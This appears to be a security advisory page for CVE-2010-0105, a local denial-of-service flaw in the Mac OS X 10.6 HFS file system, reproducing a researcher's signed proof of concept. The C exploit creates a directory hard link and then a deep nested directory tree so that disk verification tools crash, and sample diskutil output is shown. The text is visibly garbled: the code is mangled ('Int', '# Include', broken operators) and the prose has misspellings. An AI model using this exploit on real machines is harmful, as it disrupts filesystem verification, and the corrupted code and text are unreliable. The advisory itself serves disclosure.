Apple Mac OS X HFS hard link local Denial of Service Vulnerability

Affected Versions:
Apple Mac OS X 10.6.3
Apple Mac OS X 10.6.2
Vulnerability description:

Mac OS X is the operating system used by Apple family machines.

Most modern operating systems do not allow hard links in directories to prevent infinite recursion. However, the Time Machine backup mechanism implemented by the HFS File System in Mac operating systems uses hard links in directories, local users can cause Denial-of-Service by executing malicious programs. <* Reference
Makers (max@jestsuper.pl)
Http://marc.info /? L = full-disclosure & m = 127202406702742 & w = 2
*>
Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! ----- Begin pgp signed message -----
Hash: SHA1

/* Proof of Concept for CVE-2010-0105
MacOS X 10.6 hfs file system attack (Denial of Service)
By Maksymilian Arciemowicz from SecurityReason.com

Http://securityreason.com/achievement_exploitalert/15
 
NOTE:
 
This DoS will be localized in phase
 
Checking multi-linked directories

So we need activate it with line
 
Connlink ("C/C", "CX ");

Now we need create PATH_MAX/2 directory tree to make overflow.

And we shoshould get diskutil and fsck_hfs exit with sig = 8
 
~ X $ diskutil verifyVolume/Volumes/max2
Started filesystem verification on disk0s3 max2
Discovery Ming live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume max2 cocould not be verified completely
Error:-9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error
 

*/
# Include <stdio. h>
# Include <unistd. h>
# Include <stdlib. h>
# Include <string. h>
# Include <sys/param. h>
# Include <sys/stat. h>
# Include <sys/types. h>

Int createdir (char * name ){
If (0! = Mkdir (name, (S_IRWXU | S_IRWXG | S_IRWXO )&~ Umask (0) | S_IWUSR
| S_IXUSR )){
Printf ("Can't create % s", name );
Exit (1 );}
Else
Return 0;
}

Int comein (char * name ){
If (0! = Chdir (name )){
Printf ("Can't chdir in to % s", name );
Exit (1 );}
Else
Return 0;
}

Int connlink (a, B)
Char * a, * B;
{
If (0! = Link (a, B )){
Printf ("Can't create link % s => % s", a, B );
Exit (1 );}
Else
Return 0;
}

Int main (int argc, char * argv []) {
 
Int level;
FILE * fp;
 
If (argc = 2 ){
Level = atoi (argv [1]);
} Else {
Level = 512; // default
}
Createdir ("C"); // create hardlink
Createdir ("C/C"); // create hardlink
 
Connlink ("C/C", "CX"); // we need use to checking multi-linked directorie

Comein ("C ");
 
While (level --)
Printf ("Level: % I mkdir: % I chdir: % I", level,
Createdir ("C "),
Comein ("C "));
 
 
Printf ("check diskutil verifyVolume /");
Return 0;
}
---
Best Regards,
-------------------------
Pub 1024D/A6986BD6 2008-08-22
Uid Maksymilian Arciemowicz (cxib)
<Cxib@securityreason.com>
Sub 4096g/0889FA9A 2008-08-22

Http://securityreason.com
Http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
----- Begin pgp signature -----

Bytes
To4AoMMetii9Gc7EyOK7/3 + QP4ynP5kY
= IML/
----- End pgp SIGNATURE-----SEBUG security recommendations:
Vendor patch:

Apple
-----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.apple.com